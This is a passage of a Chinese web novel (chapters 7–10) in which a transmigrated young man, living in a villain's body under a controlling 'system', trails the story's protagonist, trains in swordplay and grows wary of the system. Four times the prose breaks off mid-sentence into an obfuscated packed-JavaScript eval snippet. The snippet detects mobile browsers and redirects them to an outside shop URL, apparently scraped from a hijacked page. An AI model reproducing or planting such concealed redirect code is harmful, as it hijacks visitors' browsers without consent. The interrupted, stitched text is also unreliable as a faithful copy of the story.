林枢目光一动,谢景阑的魂体比身体年龄大,说明谢景阑的魂体肯定不是原装的,是重生还是其他,林枢现在并不能确定,但从这个问题的答案来看,谢景阑不仅知道跟系统、穿书有关的事,还掌握了不少主角的信息。 他故作高深莫测,一副电视剧里反派碰头的语气,压低声音:“莫非英雄所见略同?” 谢景阑轻笑了一声,明明声音不是从耳边传来的,林枢却不由自主揉了下耳朵。 “你若有其他目的,倒可以一试,但若只是为了传承本身,便不必白费力气,这个传承你拿不到。” “为什么?”林枢诧异。 谢景阑的声音好听又危险:“属于主角的东西,又岂容他人染指?” 林枢从这话里听出了一点讽刺的味道。 可真是这样吗? 天道之子拿了道神的传承去干天道? 好孝。 林枢的目光在前方连忘川身上扫过。 “我染一个试试。”他毫无负担地说。 谢景阑没有劝阻,而是直接安静了下来。 他说这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070749|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阶段任由林枢自由发挥,还真就说到做到。 前方连忘川突然停下来了,走了一段路,他似乎累得厉害,靠坐在一棵树下,手中抱剑,平复急促的呼吸。 林枢在一棵距离连忘川不远不近的树上坐着,盯梢连忘川的同时还不忘从储物袋里翻出他今天买了没吃完的蜜饯,往嘴里扔了一粒。 【宿主,主角已经到山脚了,你还不现身吗?】 林枢摇头。 —我还没想好怎么自然又不失风度地出现在主角面前,他怎么净往这种偏僻的小路里钻?这种路上别说人了,鬼都看不到一个,你能查到他进秘境的具体时间吗?给我个ddl。 【主角如今没有修为傍身,肯定要避开人。】 【宿主不用担心太多,可以说自己是山里的猎户,跟主角说两句话,临走时送他点东西,谢景阑储物袋里有常用的丹药、武器、符篆等,随便送哪个都行,关键是要趁主角修复经脉前先卖主角一个好。】 —谢景阑这脸、这穿着、这气质,你说他是个猎户?你觉得可信吗?这什么馊主意,骗人也走点心好不好? 系统沉默了一会儿。 【宿主,马上就要进山了。】 —你别催我,我正想法子呢。 林枢皱眉,往心念神狱外放了一堆乱七八糟思索怎么跟连忘川搭讪的想法,一副他正在冥思苦想的模样。 实际上他什么也没想,只是专心盯梢连忘川,打算等秘境出现时一块跟进去。 原文里对这个秘境入口所在之地描述得很模糊,只说主角进山之后不小心掉了进去,压根没有描写具体在什么地方,所以林枢只能跟在主角身后找机会。 夜晚的山里一片漆黑,林枢有修为在,夜间能视物。 那边连忘川手里则拿着一粒夜明珠,温和的光线照亮了连忘川面前一小圈范围,幽绿色的光落在连忘川那张惨白阴翳的脸上,乍一看简直像山间索命的怨魂。 山里不时吹过一阵风,树叶哗哗作响,林枢搓了搓胳膊。 —系统,咱们家主角这么看着怪吓人的,好像个鬼啊他,我要不要装作被他吓到,从树上掉下去? 【……可以。】 —唉不行不行不行,这样出场也太没面子了,我要给主角留个好印象,这关乎到我未来在他心目中的形象。 【……宿主,你拿的不是某绿色网站纯爱小说剧本。】 林枢眼睛一亮,语气微妙。 —你也看过那种小说? 【没有,宿主之前提到,我就去查了查。】 临时去查的啊……林枢眸色微闪,表面上却不动声色。 —作为一个帅哥,我是有偶像包袱的好不好?就算不是那种剧本,我也想给人留个好印象。 系统顿了几秒,突然问: 【宿主,你到底想做什么?】 林枢眉峰一竖。 —你这话是什么意思?不信任我? 他突然反应激烈。 —靠,我心里想什么你难道不知道?是谁口口声声说系统是宿主最忠诚的伙伴?你就这么对我的?那我看这任务我也别做了,老子他妈都在你面前裸奔了竟然连这点信任都没有,你就这么对待你宿主的? 【宿主别生气,系统没有怀疑宿主的意思,只是宿主迟迟不现身,想催促一下宿主而已。】 —我怎么现身?要不我现在直接跳下去? 林枢倏地在树干上站起来。 他和连忘川的距离并不算太远,动作一大很容易暴露,这么个无异于“梁上君子”的姿态出现在连忘川面前,只怕连忘川想不怀疑都难。 【宿主别着急!】 林枢在心里轻哼,刚要坐下,突然听到一声短促的惊呼,他立马朝连忘川看去,脸色倏地一变。 “连忘川人呢?!” 只见连忘川刚才靠坐的树下空无一人,只余一颗散发着幽绿光芒的夜明珠掉落在地。 8. 第 8 章 “你说连忘川是进秘境了?” 林枢围着连忘川刚才坐的这颗树找了好几圈,但除了那颗夜明珠外什么都没找到。 一个大活人,就这么在他眼皮子底下凭空消失了。 【是的。】 “你不是说他要进山之后才会掉进秘境吗?你告诉我这里是山?”林枢冷笑。 北洲地界多山多丘陵,但松溪城刚好坐落于一个四面环山的小平原地带,从城里出来到城郊的山上,会有明显的海拔爬升的过程,他们现在顶多在山脚的树林里,压根还没上山。 【上古真神秘境入口游离不定,原文中主角是进山之后才掉入秘境,但并不代表一定要等进山之后才能入秘境。】 “你的意思是,哪怕没有任何外来因素、比如我这个穿书者干预的情况下,也会出现跟原文不同的情况?” 林枢脸上露出些许讽刺。 “那我这个穿书者还有存在的必要吗?既然有随机性,指不定哪天就因为某种意外导致真实情况跟原文走向产生偏差,既然这样,我看也用不着穿书者干预剧情了,反正主角也不一定会被反派给干死。” 【只是这个秘境入口会随机出现,其他剧情不会出现变动。】 林枢看着地上这颗夜明珠,顿住几秒后,也没说他信没信,只是缓缓勾起一个微妙的笑。 “行吧,看来这个支线任务是没办法完成了。” 【宿主不必灰心,这只是第一个任务,虽然没有完成,但以后还有机会,不过宿主,以后请一定要按照系统的指示完成任务,不要再像这次这么任性了。】 林枢挑了下眉,轻声一笑。 “你说得对。” 【宿主,现在主角已入秘境,等他再从秘境中出来时经脉已经修复,他会在这个秘境中待一个月,您不必在这里等。】 林枢捡起地上那颗夜明珠,漫不经心地在手里抛了抛,夜明珠在他手里一上一下,散发的光圈也跟着晃动,摇曳的光线照在林枢眼眸里,他的神色晦暗不明。 “听你刚才的意思,秘境入口一直在这座山里随机出现,诸神之战过去了那么久,这么多年下来,就没有其他人掉入这个秘境?” 【有,但唯有主角得到道神认可。】 林枢听此笑了笑,手中夜明珠重重一抛,重新掉在地上。 “不愧是……天道之子啊,”他拍拍手,“行吧,回去睡觉。” 出来时跟在连忘川身后,只能跟着一步一步慢慢挪,回去时林枢的速度就快多了,他面无表情地往回走。 “很挫败?”谢景阑的声音通过魂役传来。 林枢眉峰舒展。 “一般般吧,毕竟你提前给我打过预防针,这个传承我拿不到。” 谢景阑轻轻笑了一声,似是听出林枢没说实话,但他也没有再问,一如他初次见面时对林枢说的,不在意林枢怎么想。 林枢垂眸,压下眼中闪过的一瞬沉思。 说挫败谈不上,顶多有些烦躁。 谢景阑之前说对了,他并不是为了传承本身,而是想试探试探连忘川这个天道之子的身份。 道神传承可以说是全文最逆天的一个机缘,如果连忘川真如系统所说,是此间气运最厚重的天道之子,这个机缘就只会被连忘川拿到手。 眼下的结果似乎验证了系统的说法,可秘境入口出现的地点和时间都跟原文有出入,让林枢有些在意。 为什么会跟原文里不一样? 穿书至今,他没有接触过连忘川,也没有做出任何有可能影响剧情的行为。 在原文这个时间点,谢景阑这个角色还没出场,他也遵循这一点,至今没有接触任何在原文这个时间点出场过的角色…… 总结来说,不存在因为他的原因导致秘境入口及主角进入秘境的时间发生变动的可能。 事实真像系统说的那么简单么?只是因为道神秘境入口的出现存在随机性? 还是说,因为这是属于主角的机缘,别人不能碰,而他有抢这个机缘的意思,所以秘境入口才会提前出现,直接目标明确地将主角绑走? 这么说来,连忘川莫非真是天道之子? 林枢眸色微闪,不论如何,这个突如其来的变动,让他对系统的信任度大打折扣。 接下来的一个月主角都待在秘境里专心修复经脉,没有别的剧情,林枢也就没有任务要做,唯一要忙的事情就是准备即将到来的松溪城大比。 他要在系统的指引下熟悉谢景阑从前修炼的剑法。 城主府后院有一座假山,种了满山翠竹,竹林茂密,林枢站在林中的一片空地中央,从储物袋里取出一把通体深黑的剑。 他的双眼一亮。 好漂亮的剑! 他一手握住剑柄,另一只手在剑鞘上轻轻抚过,冷硬的剑鞘上刻着精致繁复的花纹,触感微凉,手感很厚重。 随着他缓缓将剑从剑鞘中抽出,长剑发出声声剑鸣,出鞘的长剑剑刃锋利,在阳光下反射出刺目的白光。 林枢握紧剑柄,看着手中的剑,突然心头微热,闪过一种很奇妙的感觉。 像是,他曾经握过剑。 八成是谢景阑这具身体留下的肌肉记忆。 林枢这么想着,问系统道:“这就是原文里谢景阑那把出名的佩剑断岳?” 【是的,这把剑是谢绍风请炼器师专门为谢景阑打造的武器,用九天玄铁锻造,品质属于地阶上品,仅次于天阶武器。】 修真界武器分“天地玄黄”四个品阶,天阶武器最好也最稀有,黄阶则是最次一档。 天阶武器可遇不可求,能花重金打造一把地阶上品的武器,足以看出谢绍风对谢景阑的看重。 林枢听到这话,突然通过魂役对谢景阑说道:“大佬,你爹对你真好。” 这么一句纯感叹类的闲话没能得到谢景阑的回应。 于是林枢换了个说法。 “哇塞大佬,你爹对你是不是特别好?” 这次谢景阑虽然觉得他莫名其妙,但还是回应了一句。 “是。” 林枢挑了下眉。 【宿主,谢景阑天生剑心,虽然你没有谢景阑的记忆,但有剑心在,你用起剑来也会得心应手,一个月的时间,足够你将谢景阑练的那套剑法练上手,虽然肯定不如原先的谢景阑,但也足以应付完松溪城大比。】 林枢一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070750|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱不释手地摸着手里这把剑,一边问:“我记得原文里松溪城大比谢景阑可是第一名,你确定没问题?” 【宿主不必担心,谢景阑这具身体如今的修为是淬凡境四阶,是松溪城年轻一代中修为最高的人,在这次大比上,只要你不碰上修复了经脉的主角,就绝对没问题。】 【而在原文剧情中,主角并没有跟谢景阑对上。】 林枢回忆了一下原文中松溪城大比这段剧情。 连忘川恰好是在松溪城大比开始当日从秘境出来的,那时他的经脉已经修复,修为恢复到了淬凡境一阶,刚从秘境出来,他便直接赶往松溪城大比现场。 按理来说,他淬凡境一阶的修为在松溪城大比上有些不够看,但主角么,没个越阶挑战的实力都说不过去。 连忘川经脉修复后没再修炼他从前那套心法,而是修炼了道神留下的心法——混元诀。 混元诀很强悍,在同样的境界下,主角的灵台能够吸纳比他人多几倍的灵气,为他越阶挑战提供了灵气基础。 此外,主角手里还有一块剑骨。 剑骨这玩意儿跟谢景阑的剑心差不多,属于剑修最顶级的bug级体质,比连忘川原本的乾坤剑体要强得多。 连忘川被退婚后,之所以选择冒险融合剑骨,也是想另辟蹊径,要是能把剑骨融合进他的身体里,即使经脉不能修复,他光凭剑法也能获得一定程度的实力提升。 不过他还没等融合剑骨就进了道神秘境,修复了经脉。 既然经脉已经修复,连忘川也就不用再急着融合剑骨了。 融合剑骨是有风险的,这也是之前连忘川一直没融合剑骨的原因。 他原本的打算是等他进了太初剑宗后,请太初剑宗的药修为他融合剑骨,没想到一朝经脉被断,入太初剑宗成了奢望,被江家退婚一事一刺激,他迫切需要证明自己,这才选择冒险融合剑骨。 如今经脉已被修复,连忘川便选择暂时将剑骨镶嵌在他从道神传承里拿到的一把剑上,那把剑原本是地阶上品,有了剑骨加持后,直接成为了一把亚天阶武器。 在远超同境界的灵气和亚天阶武器的双向加持下,连忘川在松溪城大比上大放异彩,甚至跨两阶打败了一个淬凡境三阶的修士,震惊众人。 原文里这段剧情连忘川没有和谢景阑直接对上。 连忘川打败那个淬凡境三阶的修士后就力竭昏睡了两日,缺席了第一名的比试,再醒来时松溪城大比的结果已出,谢景阑拿了第一,连忘川是第二。 这段剧情里连谢二人虽然没有直接碰面,但却是他们俩结下仇怨的开端。 连忘川使用剑骨加持的武器大放异彩时被谢景阑注意到,谢景阑天生剑心,对剑骨有着特殊感应,他一眼就认出连忘川那把剑上镶嵌着剑骨,遂起了夺宝之心。 在松溪城大比结束之后,谢景阑派出几个城主府的高手去杀连忘川夺剑骨,连忘川九死一生,靠道神神魂的保护才惊险逃出松溪城。 这是主角和反派结下的第一道梁子。 剑骨……林枢目光微动,心头闪过一丝违和感。 竟然能让谢景阑起杀人夺宝之心,是这玩意儿太过逆天了? 9. 第 9 章 将这个疑惑压在心里,林枢专心在系统的指导下开始练剑。 谢景阑原来修炼的剑法名为“惊雷六式”,剑招大开大合,剑势如惊雷万钧,撼动天地。 系统已经把惊雷六式的剑谱传给了林枢,林枢闭上眼,脑海中立马浮现出一个舞剑的身影。 那只是一道虚影,看不清面容,只能看出体型修长矫健,挥剑时动作干净利落,一招一式势如破竹,凌厉摄人。 少年挥剑的身影有种独特的美感,林枢一连看了两遍才把眼睛睁开。 “你教程里的这人是谁?”他虽然有猜测,但还是问了一句。 【是原先的谢景阑,他在剑道上天赋极高,又是天生剑心,论对惊雷六式的理解,没人能比得过他,用他来给宿主当教程最合适不过了。】 林枢缓缓勾起嘴角,悠悠开口:“不愧是能弄死主角的大反派啊。” 【宿主,有你在,主角这次一定不会死。】 “嗯嗯,让我们一起加油!” 林枢嘴上点头附和,转头就通过魂役骚扰弄死主角的大反派本人。 “大佬,我以后是不是该管你叫老师了?” 谢景阑的声音依旧好听,但内容却很无情。 “不必。” 林枢啧了一声:“别人想让我叫我还不乐意叫呢。” 谢景阑道:“系统曾言你半年转学一次,想必教过你的老师不少。” 林枢拿起剑,一边练剑一边与谢景阑闲聊:“教过我的人是挺多,但我从不喊他们老师。” 谢景阑问:“为何?” 林枢幽幽叹了口气:“我命格太硬,喊人老师容易把人喊死。” 谢景阑沉默。 “但你就不一样了,”林枢声音欢快,语气开朗,“你可是能干死天道之子的男人,应该没那么容易被我送走。” 良久,谢景阑轻轻笑了一下:“专心练剑吧。” “嗯嗯,保证不给你丢脸。”林枢说。 练剑比林枢想象得要难,有剑心在,加上谢景阑这具身体基本功本就扎实,他上手确实挺快,不过三天就能将整套剑法完整使出来。 但能使出来和能使出剑法的真正威力还是有区别的,明明是同一套剑法,他的剑招和谢景阑的比起来却总差了点什么,林枢只得选择从第一式开始认真钻研。 惊雷六式第一式名为听雷,这一招重势而不重力,是整套剑法的根基,林枢光练这第一式就练了半个月。 经过半个月的苦练,他的剑法比刚开始的花架子好了很多,但依旧始终达不到谢景阑那种程度。 可具体差在哪里,他又说不上来。 【宿主,你这一式已经小成,应该接着往后练。】 系统眼见着这半个月以来林枢睁眼闭眼都在练第一式,不由有些着急。 林枢放下剑,在石凳上坐下,脸上没什么表情。 “我这一式跟谢景阑还差得远。” 【宿主,你的目标是做任务,不是钻研剑道,不要本末倒置。】 林枢眸色一顿,缓缓勾了勾嘴角。 “你说得对。” 去你大爷的。 系统欣慰。 【宿主明白就好,眼下宿主要做的是平稳走完松溪城大比这段剧情,如果只会第一式,在大比上极有可能出差错。】 【系统虽然不要求宿主一定拿第一名,但这次大比是给主角留下印象的好时机,主角是不会把一个实力太差的人放在心上的,所以宿主必须在这次大比上大放异彩,这样才能给主角留下深刻印象。】 “嗯嗯。”林枢敷衍点头,实际上脑子里还在反反复复钻研惊雷六式的第一式,他难得对一件事情感兴趣,不会因为系统两句话就动摇。 谢景阑舞剑的一招一式早已烙印在他脑子里,他琢磨了许久,却依旧没有头绪。 踌躇半天,他没忍住,悄咪咪戳了戳谢景阑。 “在吗?” 话刚说完林枢就有些绝望。 在吗起手,我好小丑。 没等谢景阑回应他就立马换了个说法,语气虚心又诚恳。 “大佬,我能不能请教一下,我到底哪儿没练对?” 谢景阑的声音传来:“你的剑中缺少一样东西。” 林枢精神一震,没想到谢景阑真会指点他,不由有些惊喜。 “什么东西?” 谢景阑平静地吐出两个字:“杀气。” 林枢的目光顿住。 “听雷一式重势,你的剑势没有杀气,看似凌厉,却只是虚有其表,”谢景阑的语速放慢,“没有杀气,这一式你练不好。” 林枢松懈下来,弄明白自己练不好的原因就不纠结了。 杀气这玩意儿,不是他一个和平年代安稳长大的富家少爷想有就能有的,他注意到了另一个地方。 “大佬,难道你在这个年纪就杀过人?” 谢景阑的语速依旧不紧不慢,说出的话却带着冰冷浓烈的杀意。 “不曾,但我有想杀之人。” 林枢被这话里透出的杀意惊了一惊,心中下意识一凛。 反应过来后,他有些奇怪。 谢景阑家境优渥,家庭关系也简单,又一直待在家里闭关修炼,眼下这个时间点能有什么想杀的人?就算跟主角结仇也是后来的事。 心里疑惑归疑惑,林枢没有蠢到去问谢景阑这种敏感的问题。 一是瞎打听别人的隐私不是什么礼貌的举动,二是谢景阑就算真说了,他也不一定信。 交浅言深是人际交往中的大忌,他和谢景阑虽然现在表面上相处得挺平和,其实压根没什么交情,指望人家能把这么隐秘的事告诉他?别逗。 收回心思,林枢对谢景阑道了声谢,没再纠结第一式,拿起剑,接着往后练。 一直练到太阳西落,林枢收起剑,眉心蹙起,不耐烦地抱怨了一句:“累死了。” 【宿主辛苦。】 系统道。 林枢脸上没什么表情,一副累到不耐烦讲话的模样,从后山下来,他接过小厮端来的茶水一口喝完,突然问道:“父亲现在何处?” 小厮还是头一次被林枢问话,连忙回答:“回少城主,城主这个时辰一般会在书房处理事务。” 林枢抬了抬下巴:“带路。” 小厮有些意外,但立马反应过来,应了一声“是”后便带着林枢往谢绍风的书房走。 因为谢景阑大多数时候都在闭关修炼,又不喜人近身,所以府中下人对这个神秘的少城主都不怎么熟悉,这也是头一次见少城主主动去找城主。 小厮担心有什么要事,低头走在前面,带路带得十分认真专注。 【宿主去找谢绍风做什么?】 系统出声问道。 林枢的声音懒散中带着不耐烦。 —练剑练累了,去跟便宜老爹打声招呼,让他给我找药修配个药浴泡一泡,放松放松。 系统沉默了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070751|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒。 【宿主,谢景阑常年练剑,不会觉得练剑累,你这种举动有ooc的风险。】 林枢烦躁地啧了一声。 —我管你什么ooc不ooc,你别跟我扯这个,老子从小到大衣来伸手饭来张口,别说练剑了,出门去超过五百米的地方都要坐车,从来没吃过这种苦,我还没找你算账呢,要不是你把我绑过来,我至于在这儿每天起早贪黑地练剑吗? —现在就泡个药浴你还唧唧歪歪管上我了,不行你就换人,什么狗屁任务老子不做了。 系统被他这一通话怼得哑口无言,再一次后悔自己绑错了人,对原世界没留恋不好拿捏不说,还是个吃不了苦的娇气大少爷。 白色光线在识海深处焦躁地打了好几个结。 要不是从异界绑定一次人需要消耗的能量太大,它真的想换一个宿主。 【宿主消消气,系统没有阻止您泡药浴的意思,只是提醒您注意维持人设,不要让谢绍风察觉到不对。】 —我知道。 【宿主心里有数就好。】 林枢打发完系统,眼中闪过一道微光。 城主府的占地面积宽广,林枢在小厮的带领下走了一刻钟才走到谢绍风的院子。 书房门口的下人见他过来连忙进去通报,得到许可后,林枢走进书房,见到坐在书案后的谢绍风,他开口道:“父亲。” 谢绍风点点头,对他抬了抬手:“坐。” 林枢在一侧的椅子上坐下。 谢绍风打量着他,突然一笑:“今日怎么肯抽空出来走走?可是找为父有事?” 林枢想起系统说谢景阑常年沉迷修炼,连谢绍风这个当爹的一年也最多只能见他一两面,很能理解谢绍风此时的诧异。 “大比临近,儿子心知此次大比关乎谢家颜面,不容有失,心中忐忑,故而想请父亲开导一二。”林枢说。 这话是林枢随意找的借口,没想到谢绍风听到这话后,手中的毛笔突然一顿,眼神中突然闪过一丝内疚与心疼,叹了口气。 “我素知你心思重,却不想一次松溪城大比能让你在意至此,那日见你冒险进阶就已知不妥……罢了,也是我当年不该……” 谢绍风说到此突然停顿了下,林枢眸色微闪,听出其中有隐秘,好奇心顿时疯长。 当年?哪个当年?当年发生了什么?不是说谢景阑一直在家里修炼吗?谢绍风说的事跟谢景阑想杀的人有关吗? 林枢就知道他来找谢绍风准没找错,但谢绍风没有接着那句“当年”往下说,而是直接换了个话题。 “你十岁开始修炼,从不曾懈怠片刻,须知十五岁的淬凡境四阶已是天赋非凡,可你走到这一步只用了五年。” 谢绍风向来严肃刚毅的脸变得温和下来,眼神中带着鼓励与宽慰。 “阑儿,这世上天才虽多,但你在天才中亦是翘楚,此次大比于你不算什么,不必太过忧心,便是输了也无须在意,天下之大,松溪城只是其中毫不起眼的一隅,若你将来名震五洲,谢家之名亦会响彻四海,一次小小的松溪城大比,又有谁会记得?” 林枢之前还以为谢绍风是严父,所以谢景阑才会没日没夜地修炼,现在听到这么一段循循善诱的话,诧异地发现他之前好像想错了,谢绍风这明显是位慈父啊。 这么平易近人一位爹,按理来说不会任由谢景阑这么没日没夜地闭关修炼才对,不得叮嘱两句劳逸结合?父子俩甚至一年都见不了几面,这正常吗? 10. 第 10 章 谢景阑身上显然藏着不少秘密,林枢心中闪过疑问,但表面上却没有显露分毫,他低头应下:“儿子明白了。” 谢绍风点点头:“修炼之事不可逼自己太紧,多出门走走,散散心。” “是,”林枢点头,又道,“父亲,不知黄药师可在府中?儿子近来练剑筋骨隐有疼痛,想请黄药师……” “筋骨不舒服?” 林枢话还没说完就被谢绍风打断。 谢绍风反应有些大,眉峰皱紧,直接从书案后走了出来,抬手按上林枢的后背,一股温和浑厚的灵力瞬间探入后脊。 林枢微微一僵,反应过来谢绍风应该是在给他检查,突然意识到了一点不对劲。 筋骨痛只是他随口找的借口而已,而且他说的也是因为练剑导致的不舒服,谢绍风的反应怎么会这么大?而且第一反应就是检查他的后背? 不知道谢绍风检查到了什么,手收了回去,脸上的表情也缓和下来,应该是没发现有什么不对的地方。 “无妨,我让黄药师去找你。” 林枢道谢:“谢过父亲。” 从谢绍风书房出来,林枢若有所思地问系统。 “系统,谢绍风刚才为什么要检查我的后背?谢景阑后背受过伤?” 【原文剧情开始前谢景阑一直在家里闭关修炼,没有受过伤,谢绍风应该只是关心则乱,宿主不用放在心上。】 应该…… 林枢眼中闪过一丝暗色,想起他之前问起谢景阑的旧伤怎么回事时系统也是一口一个“应该”。 隔着一个世界能把他查个底朝天,碰上同在一个世界的谢景阑反倒开始“应该”了。 林枢心下一嗤,但什么也没说,只是点点头,似是被说服了。 “谢绍风这爹当得真不错,”他锤了锤肩颈,突然八卦,“修士能活很多年吧?谢景阑他妈死了之后,谢绍风有没有想过再找一个?” 系统似是有些无语,干巴巴地回复。 【系统没有相关资料。】 “怎么这也没有?”林枢不满,“这关乎到我这个少城主的位置坐得稳不稳,万一哪天谢绍风又生个一儿半女的呢?你不也说了谢家很有钱么,要是多出个继承人,我能拿到手的家产可就少一半了。” 【宿主,你穿书是为了做任务,不是换个世界接着当富n代。】 林枢啧道:“你思路能不能打开一点?我继承家产跟做任务又不冲突,我拿到手的东西越多,是不是能帮主角的就越多?” 【宿主心里有任务就好。】 系统似乎松了口气。 【谢绍风对亡妻的感情很深,宿主不用担心他会再娶。】 “谢绍风还是个情种啊,”林枢摸摸下巴,“难怪他对谢景阑这么好,心爱的人留下的唯一一个孩子,可不宝贵么?谢景阑他娘是因为什么死的?” 【资料显示谢绍风的妻子修炼天赋不高,死时只有淬凡境五阶的修为,是寿元耗尽而亡。】 林枢目光一闪,没再问。 回到院中,没多久黄药师便赶了过来,他头发全白,但面容却很显年轻,蓄着胡须,很有仙风道骨之感。 他是谢家供奉的药修,并不算谢家的下属,只是因为早年间被谢绍风救过命,便甘心留在谢家,为谢绍风效力。 “听城主说少城主筋骨不舒服?”黄药师问。 林枢点头,一边伸出手让黄药师探脉,一边道:“近日练剑颇多,肩颈和后背隐有酸痛之感,劳烦黄药师帮忙看看。” 黄药师的手指搭在林枢脉上,一缕温和微凉的灵气探入林枢体内,林枢能感觉到那缕灵气优先到他后脊背处游离了一圈。 又是这里。 林枢特意把肩颈说在后背的前面,结果黄药师优先检查的还是后背。 仔细查探一番后,黄药师收回了手。 “老夫查之少城主的身体并无不妥,少城主如今已有淬凡境四阶的修为,体内筋骨皆已被灵力淬炼过,论理不会这般脆弱……” 黄药师皱眉看着林枢,似有不解,猜测道:“许是上次冒险进阶留下了隐患,这才导致练剑过久便觉酸痛,少城主近日多加巩固境界,老夫另替少城主开一张温养灵力舒缓筋骨的方子,少城主每日用以沐浴,三日后再看是否有所缓解。” 林枢本来就是胡诌的,听到这话便点头应下。 “多谢黄药师。” 黄药师走后,系统开口道。 【宿主,你其实没有身体不舒服。】 林枢心下一顿,面上却镇定得很。 “你什么意思?我说不舒服就是不舒服。” 【宿主不是身体不舒服,而是心理不舒服,没有吃过苦,娇气病犯了。】 系统直指要害。 林枢心中定下,反应却很大,瞪大双眼。 “你在嘲讽我?” 【系统没有嘲讽宿主的意思,只是想提醒宿主,惊雷六式宿主目前还只熟悉第一式,不足以应付松溪城大比,在将前三式都熟悉之前,宿主不能偷懒。】 林枢骂骂咧咧:“老子真是被你坑惨了。” 系统识相地没有吭声。 之后几天林枢白天练剑,睡前泡药浴,还记得时不时跟系统抗议两句抱怨抱怨,日子过得忙碌又充实。 三天之后黄药师再来问起他的身体时,他顺理成章地说好多了,将这一茬揭过。 不再追求完美后林枢练剑的进度就快了很多,赶在松溪城大比开始前将惊雷六式的第二式练至小成,第三式也基本像样了。 除了练剑外他还找谢绍风要了几个和他同境界的打手练手,没把实战落下。 每天这么高强度训练下来,他心里对接下来的松溪城大比多少有了底。 大比前夜,系统叮咚一声,发布了一条任务。 【主线任务—“一见如故”发布】 【任务详情:1.规避原文谢景阑“杀人夺宝”情节;2.与连忘川结识,一见如故,引为知己。】 【任务奖励:积分50点】 【任务完成标志:1.原文“杀人夺宝”剧情未发生;2.连忘川好感度提升大于等于15点。】 【当前好感度:0】 【任务失败惩罚:神罚30分钟】 林枢撩起眼皮。 “主线任务?” 【是的宿主。】 主线任务是规避原文里谢景阑杀连忘川夺剑骨这段剧情,林枢猜测所谓主线任务应该就是跟原文谢景阑连忘川二人剧情线相关的任务。 林枢问:“神罚是什么玩意儿?” 【神罚是穿书局督促宿主认真完成任务的一种惩罚手段,宿主不用担心,只要宿主听从系统的指示,不擅作主张行动,就能顺利完成任务,不必担心受到惩罚。】 说半天还是没说神罚到底是怎么罚。 林枢心想这八成就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070752|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谢景阑说的系统治他的办法之一了,他没放心上,见系统避而不谈也没再追着问。 真有神罚的那天,系统最好祈祷能给他一次治服,否则么……林枢一笑。 他将剑收回储物袋,翻翻找找,从储物袋里找到一把折扇,“唰”地打开,风度翩翩地扇了扇,施施然往外走。 【宿主要去哪里?】 “赚钱。” 【?】 松溪城大比是松溪城最大的盛事之一,每二十年举办一次,参与大比的人必须是松溪城二十岁以下的年轻子弟,大比的目的便是为了检验年轻一代的实力。 每一届松溪城大比都备受关注,也向来是城中百姓们讨论的焦点。 四大世家的子弟中哪一个实力最强、哪家横空出世了一个天才、这一回的第一名是出自世家还是散修等等,各种围绕着松溪城大比的话题层出不穷。 修真界没有宵禁之说,华灯初上,街头巷尾人来人往,俨然一派繁华之景。 林枢走在街上,看到满街商户都挂起了有关大比的横幅。 卖酒的说店内有战神酒,卖茶的说有状元茶,便是街边摊贩都叫卖起了好运符,说是去战神庙里开过光的……林枢看得啧啧称奇。 果然,不管在哪个世界,做生意的人都最会抓热点。 【宿主打算怎么赚钱?】 系统问。 林枢摇着折扇,不紧不慢地在街上走,俨然一副富家公子哥的做派。 “急什么,逛逛再说。” 系统似是忍了忍,但还是没忍住开口: 【宿主,你不缺钱,没必要浪费精力和时间在赚钱上。】 林枢啧了一声:“傻子才会嫌钱多,你看我傻吗?” 再说了,他有个屁的钱,他现在可以说穷得要命,分文没有不说,连身体都是借的。 【……宿主不要忘了任务。】 林枢嗯嗯敷衍它,通过魂役联系谢景阑。 “大佬,打个商量,我拿你的钱去赚钱,赚到的钱咱俩三七分,你三我七,怎么样?” 谢景阑很是大方:“不必,你留着便是。” “那怎么好意思,你赞助我启动资金,我给你分红,这是应该的。”林枢说。 魂役那头传来一声轻笑。 “随你。” 林枢恰好看到了他此行的目的地,嘴角一勾。 “那就说定了。” 折扇一收,林枢迈开步子走进了一家赌坊。 